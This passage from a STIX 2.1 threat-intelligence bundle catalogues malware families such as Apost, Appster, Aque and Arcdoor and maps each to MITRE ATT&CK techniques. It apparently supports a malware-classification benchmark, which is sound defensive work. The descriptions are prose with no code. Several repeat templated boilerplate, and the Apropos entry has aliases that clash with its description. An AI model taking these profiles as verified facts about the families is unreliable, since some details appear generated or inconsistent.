      "spec_version": "2.1",
      "id": "attack-pattern--f0c8352c-4db1-5721-abae-5d32ed0ad0f2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "T1071: Application Layer Protocol (Stratum Protocol to Mining Pools)",
      "description": "MITRE ATT&CK Technique T1071 (Application Layer Protocol (Stratum Protocol to Mining Pools)) under tactic Command and Control.",
      "external_references": [
        {
          "source_name": "mitre-attack",
          "external_id": "T1071",
          "url": "https://attack.mitre.org/techniques/T1071/"
        }
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e67427e1-40b1-558f-901a-b985f308b132",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--66c4774f-5ed9-5a4a-94f8-5c1d2f2ec6cf",
      "target_ref": "attack-pattern--f0c8352c-4db1-5721-abae-5d32ed0ad0f2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Apocalypse_Rat exhibits technique T1071 (Application Layer Protocol (Stratum Protocol to Mining Pools))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e3a0dc17-c51c-5be0-8587-32dabb277b74",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Apost",
      "description": "APost (consistently cataloged across security research as Trojan:Win32/Apost, Trojan.Win32.APost, and Backdoor:Win32/Apost by Kaspersky, Trend Micro, and Microsoft Defender) is a targeted Windows trojan and spyware family active since 2012. Engineered primarily for covert reconnaissance, keystroke monitoring, and credential exfiltration, APost infiltrates endpoints through weaponized spearphishing email attachments, cracked application downloads, and drive-by web redirect chains. Once established on a target system, APost installs low-level Windows keyboard and mouse hooks, capturing keystrokes and active application titles to harvest enterprise credentials, banking logins, and corporate correspondence. Furthermore, the trojan takes periodic desktop screenshots, collects local system environment metadata (including active process trees, network interfaces, and user privileges), and establishes registry run key persistence. Stolen telemetry and captured credentials are obfuscated and exfiltrated over HTTP or direct TCP sockets to attacker-controlled command-and-control servers, with operators capable of issuing secondary download directives. (Observed samples in benchmark: 109)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan:Win32/Apost",
        "Trojan.Win32.APost",
        "Backdoor:Win32/Apost",
        "Spyware.Win32.Apost"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Apost",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/apost"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c82f8ce3-da2f-53ba-9bd1-110e895c6eb6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e3a0dc17-c51c-5be0-8587-32dabb277b74",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Apost exhibits technique T1056.001 (Input Capture: Keylogging)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--17d96693-e66b-5e46-a62d-213e3f8e4a68",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e3a0dc17-c51c-5be0-8587-32dabb277b74",
      "target_ref": "attack-pattern--37de49c0-a688-5fc9-b50e-201a448feea0",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Apost exhibits technique T1113 (Screen Capture)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dcdedf0c-3dee-5098-84dc-6d8d56099b1e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e3a0dc17-c51c-5be0-8587-32dabb277b74",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Apost exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a3838891-01b2-5f66-8577-e188986ca978",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e3a0dc17-c51c-5be0-8587-32dabb277b74",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Apost exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9710f03b-5d72-58f6-9165-31cd58c3fde3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e3a0dc17-c51c-5be0-8587-32dabb277b74",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Apost exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cb44330f-ffa5-50d4-b3f2-71ca38dc2a91",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e3a0dc17-c51c-5be0-8587-32dabb277b74",
      "target_ref": "attack-pattern--03bc7d87-9e0a-5fae-ad3c-bd1321fcc33b",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Apost exhibits technique T1041 (Exfiltration Over C2 Channel)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--95873df9-3aff-5f8b-9ee8-cbf9b4dc8b70",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Appscience",
      "description": "AppScience (classified across security vendors as Adware:Win32/AppScience and PUA:Win32/AppScience) is an intrusive adware and telemetry collection software framework. Bundled with third-party software installers and utilities, AppScience installs persistent background processes that monitor user web browsing activities, collect application usage metrics, and inject targeted banner advertisements and affiliate links into web pages. It writes persistent autostart entries to HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run and registers scheduled tasks to ensure continuous execution. (Observed samples in benchmark: 13)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/AppScience",
        "PUA:Win32/AppScience",
        "AppScience Adware",
        "Program:Win32/AppScience",
        "Win32/AppScience"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Appscience",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/appscience"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--235f0d05-a0c9-57cd-a939-52c4c587f398",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--95873df9-3aff-5f8b-9ee8-cbf9b4dc8b70",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Appscience exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e5c9efeb-4405-5d39-baad-612faa32a8b6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--95873df9-3aff-5f8b-9ee8-cbf9b4dc8b70",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Appscience exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--79498e5e-93dc-5f8b-af7b-446a77f7ab0f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--95873df9-3aff-5f8b-9ee8-cbf9b4dc8b70",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Appscience exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--12ea4c69-1c37-55b9-b7a3-b2a79370dbcc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--95873df9-3aff-5f8b-9ee8-cbf9b4dc8b70",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Appscience exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--02415679-917c-5c42-9944-47ff0bf1ecb6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--95873df9-3aff-5f8b-9ee8-cbf9b4dc8b70",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Appscience exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--d38a320a-2b3d-5aad-8bca-9456db351560",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Appset",
      "description": "Appset (cataloged across security vendors under detections including PUA:Win32/Appset, Trojan:Win32/Appset, and Program:Win32/Appset) is a persistent adware installer framework and Potentially Unwanted Application active since 2015. Typically bundled with deceptive software downloads, media players, and torrent installers, Appset modifies system configurations to monetize host environments without clear user consent. Upon installation, Appset configures background updater services, modifies desktop and taskbar browser shortcuts by appending affiliate parameters, and alters default browser homepages. It runs scheduled tasks to query remote monetization servers and download secondary bundled applications, including browser hijackers and coupon injection add-ons, while degrading system startup speed and consuming network bandwidth. (Observed samples in benchmark: 69)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "PUA:Win32/Appset",
        "Trojan:Win32/Appset",
        "Program:Win32/Appset"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Appset",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/appset"
        }
      ],
      "labels": [
        "pua",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7f88ea02-a30b-5219-95c9-977cc4d9873f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d38a320a-2b3d-5aad-8bca-9456db351560",
      "target_ref": "attack-pattern--4054acd0-ca17-521d-b3cb-772b441a9f32",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Appset exhibits technique T1189 (Drive-by Compromise)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b19603bd-bb7a-52ba-acb3-26cf574471a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d38a320a-2b3d-5aad-8bca-9456db351560",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Appset exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2f51eac7-de24-5c45-866a-030217a64c7a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d38a320a-2b3d-5aad-8bca-9456db351560",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Appset exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--37766c21-999c-5b3f-84ea-c9d89272e274",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d38a320a-2b3d-5aad-8bca-9456db351560",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Appset exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--58fbd626-5750-50b3-9ee1-4a696b28a276",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--d38a320a-2b3d-5aad-8bca-9456db351560",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Appset exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--376cf816-00eb-5563-a23b-216568dcf239",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Appster",
      "description": "Appster (recognized across cybersecurity solutions as Adware:Win32/Appster, PUA:Win32/Appster, and Adware.Appster) is an aggressive software bundler, monetization wrapper, and pay-per-install (PPI) adware distributor. Engineered to monetize free utility downloads, Appster wraps legitimate open-source and freeware tools in a deceptive, multi-stage installer wizard. The installer employs dark UX patterns, misleading pre-checked checkboxes, and obfuscated licensing agreements to trick users into accepting secondary adware payloads, browser hijackers, and system performance optimizers. Once deployed on the target endpoint, Appster installs background services that periodically contact remote advertising networks, download secondary promotional packages without consent, and generate persistent desktop pop-ups. (Observed samples in benchmark: 637)",
      "is_family": true,
      "malware_types": [
        "adware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware:Win32/Appster",
        "PUA:Win32/Appster",
        "Adware.Appster.Bundler",
        "Win32/Appster.Installer",
        "PUP.Optional.Appster"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Appster",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/appster"
        }
      ],
      "labels": [
        "adware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--cee8e504-e3e1-50c9-a6b9-7f503fd7d3b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--376cf816-00eb-5563-a23b-216568dcf239",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Appster exhibits technique T1566.002 (Phishing: Spearphishing Link)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9a0cb858-2de9-57de-a22c-87aedc228a3e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--376cf816-00eb-5563-a23b-216568dcf239",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Appster exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--dc4305f3-7a97-5802-aea0-ad47e0a421cb",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--376cf816-00eb-5563-a23b-216568dcf239",
      "target_ref": "attack-pattern--9f854ac3-c197-5dbe-b964-50f8eeda8581",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Appster exhibits technique T1053.005 (Scheduled Task/Job: Scheduled Task)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a2f750eb-c4e2-5cc9-92fd-d4e6f99aed7e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--376cf816-00eb-5563-a23b-216568dcf239",
      "target_ref": "attack-pattern--9617cd1a-5a22-5e0a-a624-97dbf59822df",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Appster exhibits technique T1112 (Modify Registry)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9838a9de-8bc9-5457-ad76-ffd7c83ed3bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--376cf816-00eb-5563-a23b-216568dcf239",
      "target_ref": "attack-pattern--07f2a5f1-0132-5a8d-8dbb-fae899993f56",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Appster exhibits technique T1562.001 (Impair Defenses: Disable or Modify Tools)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--961f48d6-d287-5646-830d-58b0e2619520",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Apropos",
      "description": "Apropos (classified in antivirus detection telemetry under designations including Trojan:Win32/Apropos, Trojan.Win32.Apropos, and Win32/Apropos) is a multi-stage trojan engineered to disguise itself as legitimate software, execute unauthorized commands, and coordinate with external command-and-control infrastructure. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Apropos executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include deceptive executable masquerading, registry run key autostart, system telemetry gathering, and remote C2 beaconing. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "OSX.Apropos",
        "Adware.MAC.Apropos",
        "PUP.Apropos",
        "Trojan:Win32/Apropos",
        "Trojan.Win32.Apropos",
        "Win32/Apropos"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Apropos",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/apropos"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--621a422a-ce0b-5f5d-9292-537fddcab051",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--961f48d6-d287-5646-830d-58b0e2619520",
      "target_ref": "attack-pattern--95fcfa9c-4678-5a49-9758-2507908bd03c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Apropos exhibits technique T1566.002 (Phishing: Spearphishing Link (Social engineering to force the user to download the tool))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--21d49d43-5421-539c-93fc-be73bc6a014f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--961f48d6-d287-5646-830d-58b0e2619520",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Apropos exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f6448251-2d7b-5bed-8598-439b5d88c541",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--961f48d6-d287-5646-830d-58b0e2619520",
      "target_ref": "attack-pattern--fddb1dde-b707-58d9-9234-0e950f6512cb",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Apropos exhibits technique T1547 (Boot or Logon Autostart Execution (Winlogon/BHO))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--337fa019-bb2c-5db2-8933-259978b32644",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Aque",
      "description": "Aque (classified in antivirus detection telemetry under designations including Ransom:Win32/Aque, Ransom.Win32.Aque, and Win32/Aque) is a crypto-ransomware designed to locate, encrypt, and hold hostage high-value user documents, database stores, and system files. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Aque executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include file system traversal, high-speed symmetric/asymmetric encryption, Volume Shadow Copy destruction via vssadmin, and extortion note display. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransom:Win32/Aque",
        "Ransom.Win32.Aque",
        "Win32/Aque"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Aque",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/aque"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3c7940ee-1965-56b0-8c8a-7831ecdcea86",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--337fa019-bb2c-5db2-8933-259978b32644",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aque exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--51206fa1-988d-5832-b2dc-06a96ba55675",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--337fa019-bb2c-5db2-8933-259978b32644",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aque exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--471540cf-aca4-5955-942c-6b895e8e6478",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--337fa019-bb2c-5db2-8933-259978b32644",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aque exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--8e980761-9aca-501c-b7d0-c07dae745770",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--337fa019-bb2c-5db2-8933-259978b32644",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aque exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--15c1c97f-e51c-53cd-8fde-43ee671ab5ff",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--337fa019-bb2c-5db2-8933-259978b32644",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Aque exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--425241c7-580c-54c9-9df6-0aefee04c1e5",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Arcdoor",
      "description": "Arcdoor (classified in antivirus detection telemetry under designations including Backdoor:Win32/Arcdoor, Backdoor.Win32.Arcdoor, and Win32/Arcdoor) is a interactive remote access trojan and backdoor providing remote threat actors with unauthorized terminal control, file manipulation, and surveillance. Disseminated across enterprise networks and consumer workstations via social engineering, phishing attachments, malicious drive-by downloads, or weaponized software cracks, Arcdoor executes an initial reconnaissance phase upon system ingress. The binary evaluates host privileges, detects active hypervisors and sandbox environments to evade behavioral analysis, and establishes resilient autostart persistence by configuring registry keys under HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run or registering background Windows services. Operational mechanics characteristic of this family include reverse shell connections, process hollowing, privilege escalation, and lateral movement reconnaissance. Outbound communication is established with remote threat actor infrastructure to beacon operational status and receive tasking, posing significant security risks to data integrity and host availability. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "backdoor"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Backdoor:Win32/Arcdoor",
        "Backdoor.Win32.Arcdoor",
        "Win32/Arcdoor"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Arcdoor",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/arcdoor"
        }
      ],
      "labels": [
        "backdoor",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3a1a4852-d874-5924-a8ae-a5fc0672fdb3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--425241c7-580c-54c9-9df6-0aefee04c1e5",
      "target_ref": "attack-pattern--8d654e3a-ab3a-5a68-a2dd-c7e622d3b49f",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Arcdoor exhibits technique T1059.003 (Command and Scripting Interpreter: Windows Command Shell)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--24c883c3-bf3a-518a-b478-7b706ed18410",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--425241c7-580c-54c9-9df6-0aefee04c1e5",
      "target_ref": "attack-pattern--9561e493-14f3-5fcb-a83c-f95649da6548",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Arcdoor exhibits technique T1071.001 (Application Layer Protocol: Web Protocols (C2 Communication))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--438676a6-ccc4-54e5-8c86-96db56e2d3bc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--425241c7-580c-54c9-9df6-0aefee04c1e5",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
